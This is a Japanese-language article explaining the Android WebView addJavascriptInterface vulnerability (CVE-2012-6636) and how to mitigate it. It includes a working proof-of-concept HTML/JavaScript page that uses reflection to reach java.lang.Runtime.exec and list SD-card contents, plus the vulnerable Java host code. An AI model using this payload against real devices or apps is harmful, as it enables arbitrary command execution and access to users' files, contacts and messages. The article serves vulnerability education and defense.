
Android 3.0から4.1.xまで、Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank、およびその他のデバイスにおいて、WebViewクラスの実装が適切でないため、リモートの攻撃者が細工されたWebページを介してJavaオブジェクトの任意のメソッドを実行したり、サービス拒否(再起動)を引き起こしたりする可能性があります。これは、WebView.addJavascriptInterfaceメソッドの使用によって実証されており、CVE-2012-6636に関連する問題です。
多くの場合、私たちはWebページを表示するためにWebViewを使用します。例えば、多くのアプリケーションではサーバー制御を実現するために、結果ページをWebページとして表示し、ローカル実装を行いません。これには、インターフェース変更時に新しいバージョンをリリースする必要がなく、サーバー側で直接変更できるなど、多くの利点があります。Webページでインターフェースを表示する場合、通常はJavaコードとのインタラクションが多かれ少なかれ存在します。例えば、Webページ上のボタンクリックを検出したり、メソッドを呼び出してページに何らかのアクションを実行させたりするために、通常はJSを使用してこれらのインタラクションを実現します。WebViewはそのようなメソッドを提供しており、具体的な使用方法は以下の通りです。
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
WebViewに「jsInterface」という名前のオブジェクトを登録すると、JS側からjsInterfaceオブジェクトにアクセスできるようになり、そのオブジェクトのメソッドを呼び出すことでJavaコードを実行できます。これにより、JSとJavaコードのインタラクションが実現します。
AndroidのWebサイトでのaddJavascriptInterfaceメソッドの説明を見てみましょう。
このメソッドは、JavaScriptがホストアプリケーションを制御できるようにするために使用できます。これは強力な機能ですが、APIレベルJELLYBEAN以下をターゲットとするアプリケーションにはセキュリティリスクをもたらします。JavaScriptがリフレクションを使用して注入されたオブジェクトのpublicフィールドにアクセスできる可能性があるためです。信頼できないコンテンツを含むWebViewでこのメソッドを使用すると、攻撃者が意図しない方法でホストアプリケーションを操作し、ホストアプリケーションの権限でJavaコードを実行する可能性があります。信頼できないコンテンツを含む可能性のあるWebViewでこのメソッドを使用する際は、細心の注意を払ってください。
JavaScriptは、このWebViewのプライベートなバックグラウンドスレッドでJavaオブジェクトとインタラクションします。そのため、スレッドセーフを維持するための注意が必要です。 Javaオブジェクトのフィールドにはアクセスできません。
簡単に言うと、addJavascriptInterfaceを使用すると、JSが悪意のあるコードを含む可能性があるため、セキュリティ上の問題が生じる可能性があります。この脆弱性が今日話題にしたい内容です。JSに悪意のあるコードが含まれている場合、任意の操作が可能になります。
JavaScriptを介して、デバイス上のSDカードにアクセスし、連絡先情報やSMSなどにもアクセスできます。これは非常に危険です。
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
この脆弱性を実証するために、悪意のあるJSコードを含むローカルのWebページを読み込んでいます。HTMLコードは以下の通りです。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
execute()メソッドを見てください。これはすべてのwindowオブジェクトを走査し、getClassメソッドを持つオブジェクトを見つけます。そのオブジェクトを使用してクラスを見つけ、java.lang.Runtimeオブジェクトを見つけ、getRuntime静的メソッドを呼び出してRuntimeのインスタンスを取得し、次にexec()メソッドを呼び出してコマンドを実行します。getContents()メソッドはストリームから読み取り、インターフェースに表示します。return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Javaコードは以下の通りです。
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
権限の追加が必要です。
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
@JavascriptInterfaceアノテーションを付ける必要があります。以下のコードのようになります。class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
addJavascriptInterfaceメソッドを呼び出さないようにする必要があります。この問題の核心は、JSのイベントアクションを把握することです。JSとJavaのインタラクションにはいくつかの方法があります。例えば、promptやalertなどのアクションはWebChromeClientのメソッドに対応し、promptの場合はonJsPromptメソッドに対応します。このメソッドの宣言は以下の通りです。public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
このメソッドを使用することで、JSからJavaに情報(テキスト)を渡すことができ、JavaからJSに情報(テキスト)を渡すこともできます。